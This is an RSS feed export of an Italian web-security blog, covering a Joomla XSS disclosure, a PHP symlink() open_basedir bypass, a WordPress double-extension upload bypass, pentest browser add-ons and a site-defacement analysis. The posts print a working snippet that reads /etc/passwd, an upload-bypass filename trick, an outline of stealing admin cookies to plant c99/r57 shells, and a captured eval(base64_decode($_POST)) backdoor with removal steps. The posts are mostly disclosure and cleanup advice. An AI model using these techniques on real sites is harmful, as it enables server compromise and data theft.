<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Capn3m0 WebSecurity &#187; hacking</title>
	<atom:link href="http://www.capn3m0.org/tag/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.capn3m0.org</link>
	<description>...hacking, security, wifi and more...</description>
	<lastBuildDate>Tue, 07 Feb 2012 20:08:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>[EXPLOIT] &#8211; Joomla all versions XSS vulnerability</title>
		<link>http://www.capn3m0.org/exploit-joomla-all-versions-xss-vulnerability.html</link>
		<comments>http://www.capn3m0.org/exploit-joomla-all-versions-xss-vulnerability.html#comments</comments>
		<pubDate>Sat, 09 Oct 2010 16:42:38 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[proof of concept]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/exploit-joomla-all-versions-xss-vulnerability.html</guid>
		<description><![CDATA[Ciao a tutti, dopo diverso tempo dall&#8217;ultimo post pubblico una vulnerabilità che potrà creare non pochi problemi agli utilizzatori del noto Cms Joomla. E&#8217; stata pubblicata da poco una vulnerabilità di tipo XSS per tutte le versioni &#60; =1.5.20, ossia tutte le versioni attualmente pubblicate. Tale exploit sfrutta una falla nella verifica delle variabili GET [...]]]></description>
			<content:encoded><![CDATA[<p><br class="spacer_" /></p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2010/10/joomla-hack1.png" rel="lightbox[386]" title="Joomla"><img class="alignleft size-thumbnail wp-image-387" title="Joomla" src="http://www.capn3m0.org/wp-content/uploads/2010/10/joomla-hack1-150x150.png" alt="[EXPLOIT]   Joomla all versions XSS vulnerability" width="150" height="150" /></a>Ciao a tutti, dopo diverso tempo dall&#8217;ultimo post pubblico una vulnerabilità che potrà creare non pochi problemi agli utilizzatori del noto <strong><a href="http://www.joomla.org" target="_blank">Cms Joomla</a></strong>.</p>
<p>E&#8217; stata pubblicata da poco una vulnerabilità di tipo <strong>XSS</strong> per tutte le versioni <strong>&lt; =1.5.20</strong>, ossia <strong>tutte le versioni attualmente pubblicate</strong>.</p>
<p>Tale exploit sfrutta una falla nella verifica delle variabili GET encodate eseguendo quindi il codice Javascript che si passa all&#8217;applicativo.</p>
<p><a href="http://seclists.org/fulldisclosure/2010/Oct/109" target="_blank">Full Discolsure Advisories</a></p>
<p>Al seguente video si potrà vedere un Proof of Concept dell&#8217;attacco Xss.</p>
<p><a href="http://yehg.net/lab/pr0js/training/view/misc/joomla-1.5.20_encoded-xss/">Proof of Concept by yehg.net</a></p>
<p><span id="more-386"></span></p>
<p>Un malintenzionato potrebbe sfruttare tale falla per rubare i cookie degli utenti loggati, Administrator compreso, e sfruttarli per modificare pagine o uploadare shell malevole che permetterebbero qualsiasi operazione nello spazio del sito vittima. Una volta rubati i cookie di Admin, infatti, basterà andare nella pagina di edit di uno dei template di default, di solito &#8216;beez&#8217;, e successivamente editare la pagina con il codice di una shell php quali <strong>c99</strong> o <strong>r57</strong>.</p>
<p>Provvedero&#8217; ad aggiornare il post quanto prima con tutti i riferimenti e i dettagli (sono in treno con l&#8217;app WordPress per Blackberry <img src='http://www.capn3m0.org/wp-includes/images/smilies/icon_smile.gif' alt="[EXPLOIT]   Joomla all versions XSS vulnerability" class='wp-smiley' title="[EXPLOIT]   Joomla all versions XSS vulnerability pics" />  ).</p>
<p><strong>AGGIORNAMENTO #1</strong><br />
 Lo staff di Joomla ha provveduto a rilasciare la nuova versione dove tale problema e&#8217; stato fixato.</p>
<p>Chiunque utilizzi questo Cms e&#8217; invitato ad <strong>effettuare l&#8217;upgrade alla versione 1.5.21</strong></p>
<p><a href="http://www.joomla.org/announcements/release-news/5300-joomla-1521-released.html" target="_blank">Joomla 1.5.21 &#8211; Official Site</a></p>
<p><a href="http://developer.joomla.org/security/news/9-security/10-core-security/322-20101001-core-xss-vulnerabilities.html" target="_blank">Joomla Security News</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/exploit-joomla-all-versions-xss-vulnerability.html/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHP 5.2.12/5.3.1 symlink() open_basedir bypass</title>
		<link>http://www.capn3m0.org/php-5.2.125.3.1-symlink-open_basedir-bypass.html</link>
		<comments>http://www.capn3m0.org/php-5.2.125.3.1-symlink-open_basedir-bypass.html#comments</comments>
		<pubDate>Wed, 06 Jan 2010 22:10:50 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[vulnerabilità]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=367</guid>
		<description><![CDATA[Sebbene in ritardo rispetto alla data di pubblicazione di questo Exploit (13/11/2009) oggi vi parlerò di una grave falla individuata nelle versioni 5.2.12/5.3.1 del Php che sfruttando delle falle strutturali delle funzioni symlink() permette di bypassare il check dei permessi della funzione open_basedir. Di fatto questa vulnerabilità da la possibilità di leggere aree/file del WebServer [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2010/01/php.jpg" rel="lightbox[367]" title="Php"><img class="alignleft size-thumbnail wp-image-368" title="Php" src="http://www.capn3m0.org/wp-content/uploads/2010/01/php-150x150.jpg" alt="PHP 5.2.12/5.3.1 symlink() open basedir bypass " width="150" height="150" /></a>Sebbene in ritardo rispetto alla data di pubblicazione di questo Exploit (13/11/2009) oggi vi parlerò di una grave falla individuata nelle versioni <strong>5.2.12/5.3.1 del Php</strong> che sfruttando delle falle strutturali delle funzioni <strong>symlink()</strong> permette di bypassare il check dei permessi della funzione open_basedir.</p>
<p>Di fatto questa <strong>vulnerabilità</strong> da la possibilità di leggere aree/file del WebServer non autorizzate quali il file &#8220;<strong>/etc/passwd</strong>&#8221; e similari.</p>
<p>L&#8217;applicazione pratica e più semplice di tale vulnerabilità è il seguente codice:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
 <span style="color: #990000;">symlink</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/etc/passwd&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;prova.txt&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p><span>Se il &#8220;safe_mode&#8221; del Php era disabilitato nel proprio spazio sarebbe stato creato un link simbolico dal nome &#8220;prova.txt&#8221; che puntava al contenuto di &#8220;/etc/passwd&#8221;. In questo modo richiamando dal browser il link simbolico nel seguente modo:</span></p>
<p><cite><span>http://&lt;dominio&gt;/prova.txt</span></cite></p>
<p><span>avremmo visualizzato a video il contenuto del file &#8220;/etc/passwd&#8221;. A seconda dell&#8217;Hosting questo file può contenere anche le password dell&#8217;account web del Cliente e pertanto la gravità della vulnerabilità è elevata.</span></p>
<p><span>Nel caso, invece, il safe_mode del Php fosse stato attivo sarebbe stato visualizzato un messaggio di errore che indicava l&#8217;impossibilità di eseguire l&#8217;operazione a causa della mancanza dei permessi di accesso al file &#8220;/etc/passwd&#8221;.</span></p>
<p>Ho provato ad applicare questa tecnica su diversi Hosting dove ho sitarelli o spazi per fare dei test e in base ad alcune configurazioni di sicurezza (privilegi, followsymlink,etc.) si poteva o meno accedere a dati sensibili come, per esempio, visualizzare i file di configurazione di altri domini presenti sullo stesso server dove siamo noi.</p>
<p>Questa <strong>vulnerabilità</strong> del Php ha fatto nascere alcune discussioni legate ai vari <strong>attacchi di massa</strong> che si sono verificati lo scorso anno su vari Hosting condivisi noti e meno noti. Dal mio punto di vista è plausibile pensare, quindi, che questa falla abbia dato la possibilità di accedere e violare centinaia di spazi Web rubando informazioni preziose per eventuali ulteriori attacchi.</p>
<p>Link correlati:</p>
<p><a href="http://www.exploit-db.com/exploits/10557" target="_blank"><strong>Exploit</strong></a></p>
<p><a href="http://securityreason.com/achievement_exploitalert/14" target="_blank"><strong>PHP 5.2.12/5.3.1 symlink() open_basedir bypass &#8211; SecurityReason.com</strong></a></p>
<p><a href="http://sicurezza.html.it/articoli/leggi/1007/tecniche-symlink-attack/" target="_blank"><strong>Symlink Attack &#8211; HTML.it</strong></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/php-5.2.125.3.1-symlink-open_basedir-bypass.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[EXPLOIT] &#8211; WordPress </title>
		<link>http://www.capn3m0.org/exploit-wordpress-arbitrary-file-upload.html</link>
		<comments>http://www.capn3m0.org/exploit-wordpress-arbitrary-file-upload.html#comments</comments>
		<pubDate>Sat, 14 Nov 2009 16:24:46 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Arbitrary File Upload]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[proof of concept]]></category>
		<category><![CDATA[remote file upload]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vulnerabilità]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=337</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2009/11/broken-wordpress-lock.png" rel="lightbox[337]" title="WordPress File Arbitrary Upload"><img class="alignleft size-thumbnail wp-image-338" title="WordPress File Arbitrary Upload" src="http://www.capn3m0.org/wp-content/uploads/2009/11/broken-wordpress-lock-150x150.png" alt="[EXPLOIT]   Wordpress <= 2.8.5 Arbitrary File Upload" width="150" height="150" /></a>Ieri avevo dato <a href="http://www.capn3m0.org/rilasciato-wordpress-2.8.6-per-correggere-2-falle-di-sicurezza.html" target="_self">notizia</a> del rilascio della versione<strong> 2.8.6 di WordPress</strong> che risolveva due falle di <strong>sicurezza</strong>.</p>
<p>La notizia non era molto dettagliata poiché la <strong>vulnerabilità</strong> era stata annunciata molto genericamente come una vulnerabilità che permetteva di &#8220;<strong>aggirare le limitazioni ai nomi dei file in determinate configurazioni Apache&#8221;.</strong> Ora che è stata patchata, come spesso accade, iniziano a trovarsi maggiori informazioni e <strong>Proof of Concept</strong>.</p>
<p>In realtà la vulnerabilità <strong>permette di uploadare file bypassando il controllo</strong> della tipologia di file e permettendo, quindi, di uploadare script php e similari che possono poi essere richiamati da colui che attacca. <strong>Affligge tutte le versioni inferiori alla 2.8.5</strong> (compresa) perciò provvedete quanto prima ad aggiornare il vostro blog.</p>
<p><span id="more-337"></span>
<p>La notizia era stata pubblicata l&#8217;11 Novembre scorso nella nota Mailing List <a href="http://seclists.org/fulldisclosure" target="_blank"><strong>Full Disclosure</strong></a> dove Dawid Golunski ha pubblicato un Proof Of Concept che potete leggere a questo <a href="http://seclists.org/fulldisclosure/2009/Nov/141" target="_blank">link</a>. Praticamente spiega che la verifica del file uploadato avviene confrontando l&#8217;estensione del file, estrapolata tramite una Regular Expression, con un array dei Mime Type permessi.</p>
<p>La Regular Expression, però, unita al fatto che i WebServer <a href="http://apache.org/" target="_blank"><strong>Apache</strong></a> (solamente in una particolare configurazione spiegata <a href="http://seclists.org/fulldisclosure/2009/Nov/152" target="_blank"><strong>qui</strong></a>) consentono di creare file nel formato</p>
<p>
<blockquote>filename.ext1.ext2</p></blockquote>
<p>può essere bypassata uploadando un file contenente codice Php e assegnandogli un nome come il seguente:</p>
<blockquote><p>phpinfo.php.jpg</p>
</blockquote>
<p>In questo modo la verifica del file applicata da WordPress estrapolerebbe tramite la RegEx l&#8217;estensione &#8220;.jpg&#8221; e successivamente, verificandola con l&#8217;Array dei Mime Types ammessi, <strong>permetterebbe al file di essere uploadato scambiandolo per un&#8217;immagine</strong>.</p>
<p>Una volta fatto ciò chi attacca potrà richiamare lo script digitando la path standard dei file uploadati di WordPress ossia:</p>
<blockquote><p>http:///wp-content/uploads/2009//phpinfo.php.jpg</p>
</blockquote>
<p>Questa vulnerabilità, sebbene grave, non dovrebbe causare gravi danni visto <strong>che chi attaca deve essere un membro dello staff con privilegi di pubblicazione</strong> come era stato annunciato in occasione della 2.8.6.</p>
<p>Resta invece ancora sconosciuta la vulnerabilità di Cross Site Scripting scoperta da Benjamin Flesch sempre nella versione 2.8.5 di WordPress.</p>
<p>Eccovi alcuni link correlati:</p>
<p><a href="http://seclists.org/fulldisclosure/2009/Nov/141" target="_blank">Proof Of Concepts &#8211; WordPress &lt;= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution by Dawid Golunski</a></p>
<p><a href="http://www.vupen.com/english/advisories/2009/3234" target="_blank">Vupen &#8211; WordPress Arbitrary File Upload and Cross Site Scripting Vulnerabilities</a></p>
<p><a href="http://www.securityfocus.com/bid/37014/info" target="_blank">SecurityFocus &#8211; <span>WordPress Unspecified Cross Site Scripting Vulnerability</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/exploit-wordpress-arbitrary-file-upload.html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>[HACK] &#8211; Cannot redeclare security_update(), alla fine è arrivato!</title>
		<link>http://www.capn3m0.org/hack-cannot-redeclare-security_update.html</link>
		<comments>http://www.capn3m0.org/hack-cannot-redeclare-security_update.html#comments</comments>
		<pubDate>Sat, 07 Nov 2009 23:21:27 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[HTML/Crypted.gen]]></category>
		<category><![CDATA[infezione]]></category>
		<category><![CDATA[ob_start(”security_update”)]]></category>
		<category><![CDATA[security_update]]></category>
		<category><![CDATA[sito malevolo]]></category>
		<category><![CDATA[vulnerabilità]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=325</guid>
		<description><![CDATA[PREMESSA Il 9 febbraio scorso nel post titolato &#8220;18446744073709551615 – Un nuovo hack in arrivo?&#8221; avevo descritto un hacking che stava avvenendo in centinaia di siti di hosting italiani e stranieri che non aveva un apparente denominatore comune. Infatti all&#8217;epoca non si spiegava se venivano sfruttate vulnerabilità dell&#8217;applicativo in uso sul proprio dominio (in Rete [...]]]></description>
			<content:encoded><![CDATA[<h2><img class="size-thumbnail wp-image-327 alignleft" title="Hacking" src="http://www.capn3m0.org/wp-content/uploads/2009/11/bio-150x150.jpg" alt="[HACK]   Cannot redeclare security update(), alla fine è arrivato!" width="150" height="150" />PREMESSA</h2>
<p>Il 9 febbraio scorso nel post titolato &#8220;<a href="http://www.capn3m0.org/18446744073709551615-un-nuovo-hack-in-arrivo.html" target="_self"><strong>18446744073709551615 – Un nuovo hack in arrivo?</strong></a>&#8221; avevo descritto un <strong>hacking </strong>che stava avvenendo in centinaia di siti di hosting italiani e stranieri che non aveva un apparente denominatore comune.</p>
<p>Infatti all&#8217;epoca non si spiegava se venivano sfruttate <strong>vulnerabilità dell&#8217;applicativo</strong> in uso sul proprio dominio (in <a href="http://www.juliusdesign.net/wordpress-2-8-5-attacco-haked-su-aruba/" target="_blank"><strong>Rete</strong></a> in questi ultimi giorni c&#8217;è un gran parlare sulla possibilità che sia <strong>WordPress</strong> la causa) o se si trattasse di uno <strong>stealing di account</strong> ma alla luce di quanto analizzato a febbraio e quanto analizzato in questi giorni vi sono in rete diverse &#8220;testimonianze&#8221; di siti hackerati che con molta probabilità non hanno vulnerabilità in quanto basati su semplici <strong>pagine html statiche</strong>.</p>
<p>Alcune &#8220;vittime&#8221; mi han contattato privatamente e mi hanno fornito informazioni per poter delineare meglio questo hack.</p>
<p>Ricordo a chi legge questo Blog per la prima volta che nel <a href="http://www.capn3m0.org/18446744073709551615-un-nuovo-hack-in-arrivo.html" target="_self">post precedente </a>chiamato volutamente &#8220;Un nuovo hack in arrivo?&#8221; segnalavo come le azioni di febbraio apparivano più come un &#8220;giro di test&#8221; che come un&#8217;azione a fini malevoli quale è, invece, in questi giorni. A febbraio numerosi siti subirono un <strong>hack atipico </strong>poiché i siti vittima non venivano alterati o infettati da virus/trojan ma, semplicemente, mostravano il numero &#8220;<strong>18446744073709551615</strong>&#8221; a pié di pagina e nel codice si poteva individuare la dichiarazione di una funzione dal nome &#8220;<strong>ob_start(&#8220;security_update&#8221;)</strong>&#8220;. Questo, dal mio punto di vista, poteva essere interpretato come un marcatore tramite il quale chi attacca può farsi un&#8217;idea di quanti potenziali vittime potrebbe colpire.</p>
<p><span id="more-325"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/hack-cannot-redeclare-security_update.html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>[SECURITY] &#8211; 5 utili plugins per Firefox</title>
		<link>http://www.capn3m0.org/security-5-utili-plugins-per-firefox.html</link>
		<comments>http://www.capn3m0.org/security-5-utili-plugins-per-firefox.html#comments</comments>
		<pubDate>Tue, 17 Feb 2009 20:35:45 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[cookie manipulation]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hackbar]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[header http]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[remote file inclusion]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql inject me]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[tamper data]]></category>
		<category><![CDATA[vulnerabilità]]></category>
		<category><![CDATA[web developer]]></category>
		<category><![CDATA[xss]]></category>
		<category><![CDATA[xss me]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=248</guid>
		<description><![CDATA[In questo articolo vi presenterò 5 utili Addons di Firefox che possono tornare utili in diverse situazioni e, in particolar modo, quando si vogliono testare vulnerabilità e similari di un applicativo web. I plugins di cui parlerò sono i seguenti: Web Developer Bar Xss Me Sql Inject Me HackBar Tamper Data Questi 5 plugin torneranno [...]]]></description>
			<content:encoded><![CDATA[<p>In questo articolo vi presenterò <a href="https://addons.mozilla.org/it/firefox/" target="_blank"><strong>5 utili Addons di Firefox </strong></a>che possono tornare utili in diverse situazioni e, in particolar modo, quando si vogliono testare vulnerabilità e similari di un applicativo web.</p>
<p>I plugins di cui parlerò sono i seguenti:</p>
<ul>
<li><strong>Web Developer Bar</strong></li>
<li><strong>Xss Me</strong></li>
<li><strong>Sql Inject Me</strong></li>
<li><strong>HackBar</strong></li>
<li><strong>Tamper Data</strong></li>
</ul>
<p>Questi 5 plugin torneranno molto utili quando proveremo ad effettuare le nostre prime analisi di sicurezza in quanto permettono di analizzare diversi aspetti di un sito web. Va detto che non sono programmi  &#8220;per bucare&#8221; ma semplicemente dei test i cui risultati, se si hanno le giuste conoscenze, possono aiutare ad individuare falle o vulnerabilità in un dato sito.</p>
<p><span id="more-248"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/security-5-utili-plugins-per-firefox.html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>18446744073709551615 &#8211; Un nuovo hack in arrivo?</title>
		<link>http://www.capn3m0.org/18446744073709551615-un-nuovo-hack-in-arrivo.html</link>
		<comments>http://www.capn3m0.org/18446744073709551615-un-nuovo-hack-in-arrivo.html#comments</comments>
		<pubDate>Mon, 09 Feb 2009 19:15:20 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vulnerabilità]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=122</guid>
		<description><![CDATA[Negli ultimi giorni sto riscontrando un aumento di casi di hacking in cui apparentemente l&#8217;azione malevola consiste nel far visualizzare alla fine della home page della vittima il numero &#8220;18446744073709551615&#8220;. Ricercando in rete utilizzando questo numero come chiave di ricerca si troveranno numerosi articoli/post che affermano che si tratta del massimo numero utilizzabile all&#8217;interno di [...]]]></description>
			<content:encoded><![CDATA[<p>Negli ultimi giorni sto riscontrando un aumento di casi di hacking in cui apparentemente l&#8217;azione malevola consiste nel far visualizzare alla fine della home page della vittima il numero &#8220;<strong>18446744073709551615</strong>&#8220;.</p>
<p>Ricercando in rete utilizzando questo numero come chiave di ricerca si troveranno numerosi articoli/post che affermano che si tratta del massimo numero utilizzabile all&#8217;interno di un campo <strong>BIGINT </strong>in Php. Questo porterà l&#8217;ignaro utente ad impazzire alla ricerca della funzione all&#8217;interno del proprio sito che esegue calcoli che portano alla comparsa di questo numero. Tutto ciò sarà inutile!</p>
<p>In realtà questo numero viene visualizzato poiché le pagine &#8220;<strong>index.php</strong>&#8221; del proprio sito sono state hackerate inserendo al loro interno la seguente funzione che<strong> non altera il comportamento della pagina ma visualizza a pié di pagina il numero in oggetto</strong>.</p>
<p><span id="more-122"></span></p>
<p>La pagina modificata apparirà con il seguente codice:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #990000;">ob_start</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;security_update&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//do not remove this line - important security update!</span>
&nbsp;
<span style="color: #339933;">&lt;---</span> CODICE ORIGINALE DELLA PAGINA <span style="color: #339933;">---&gt;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
                <span style="color: #339933;">&lt;</span> ?php
                <span style="color: #000000; font-weight: bold;">function</span> security_update<span style="color: #009900;">&#40;</span><span style="color: #000088;">$buffer</span><span style="color: #009900;">&#41;</span>
                <span style="color: #009900;">&#123;</span>
                        <span style="color: #000088;">$update</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'18446744073709551615'</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">stristr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$buffer</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;/html'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span>
                        <span style="color: #009900;">&#123;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #990000;">eregi_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;/html'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$update</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&lt;html'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$buffer</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                        <span style="color: #b1b100;">else</span>
                        <span style="color: #009900;">&#123;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #000088;">$buffer</span><span style="color: #339933;">.</span><span style="color: #000088;">$update</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Come potete vedere analizzando il codice la funzione &#8220;<strong>security_update</strong>&#8221; non fa altro che inserire tutto l&#8217;output originale della propria pagina in un buffer e successivamente accodare al buffer il valore &#8220;<strong>18446744073709551615</strong>&#8220;.</p>
<p>La domanda che sorge è: <strong>perché?</strong></p>
<p>Sebbene stia tenendo d&#8217;occhio l&#8217;evolversi di questo hack non si è ancora individuato il motivo di tale azione. L&#8217;ipotesi che al momento appare essere la più veritiera è che venga utilizzato questo codice come &#8220;<strong>marcatore</strong>&#8221; dei siti &#8220;infetti&#8221; così da poterli facilmente trovare in una eventuale <a href="http://www.google.it/search?hl=it&amp;q=inurl%3Aindex.php+%2B18446744073709551615+&amp;sourceid=navclient-ff&amp;rlz=1B3GGGL_itIT312IT312&amp;ie=UTF-8&amp;aq=t&amp;oq=inurl%3Aindex.php+%2B18446744073709551615+" target="_blank"><strong>ricerca in rete</strong></a>.</p>
<p>In questo modo chi sta effettuando tali hack potrà individuare le proprie vittime e i siti per i quali conosce la falla di sicurezza che ha consentito di scrivere, per ora, il numero &#8220;<strong>18446744073709551615</strong>&#8220;.</p>
<p>Vedendo l&#8217;andamento delle ultime settimane ho assistito ad un&#8217;<strong>evoluzione dello script</strong> in quanto è stata aggiunta una nuova riga che potrebbe essere realmente dannosa per le vittime. Questo il codice nella sua nuova versione:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #990000;">ob_start</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;security_update&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//do not remove this line - important security update!</span>
 <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'73043475c0893e30'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;59fdd20854f4a2056c082cab53e64860&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #990000;">exit</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span><span style="color: #339933;">&lt;</span> ?php</pre></td></tr></table></div>

<p>Questo script ha in più <strong>un check su un cookie</strong> che, se verificato (<strong>$_COOKIE['73043475c0893e30'])==&#8221;59fdd20854f4a2056c082cab53e64860&#8243;</strong>), esegue una decodifica di un file criptato inviato via <strong>POST</strong>.</p>
<p>In questo modo l&#8217;hacker ha la possibilità di inviare file a tutti i domini che precedentemente aveva infettato e &#8220;marcato&#8221;.</p>
<p>Per ora non ho assistito ad azioni concrete che hanno sfruttato questa funzione &#8220;<strong>security_update()</strong>&#8221; ma, ovviamente, è naturale pensare che lo script e le sue evoluzioni siano vari step di un&#8217;azione mirata a raccogliere centinaia di siti infetti per effettuare in seguito un attacco di massa.</p>
<h1><strong>Come eliminarlo?</strong></h1>
<p>Per eliminarlo basta individuare tutte le pagine che mostrano il numero &#8220;<strong>18446744073709551615</strong>&#8221; e ripulirle dal codice di questo hack mostrato in precedenza.</p>
<p>Anche in questo caso il programma &#8220;<a href="http://www.powergrep.com/" target="_blank"><strong>PoweGrep</strong></a>&#8221; ci torna comodo permettendoci di effettuare una ricerca della stringa &#8220;<strong>18446744073709551615</strong>&#8221; su tutti i file del proprio sito (in locale).</p>
<p>Una volta individuate la pagine vanno rimosse queste righe dalla parte superiore della pagina:</p>
</pre>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #990000;">ob_start</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;security_update&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//do not remove this line - important security update!</span>
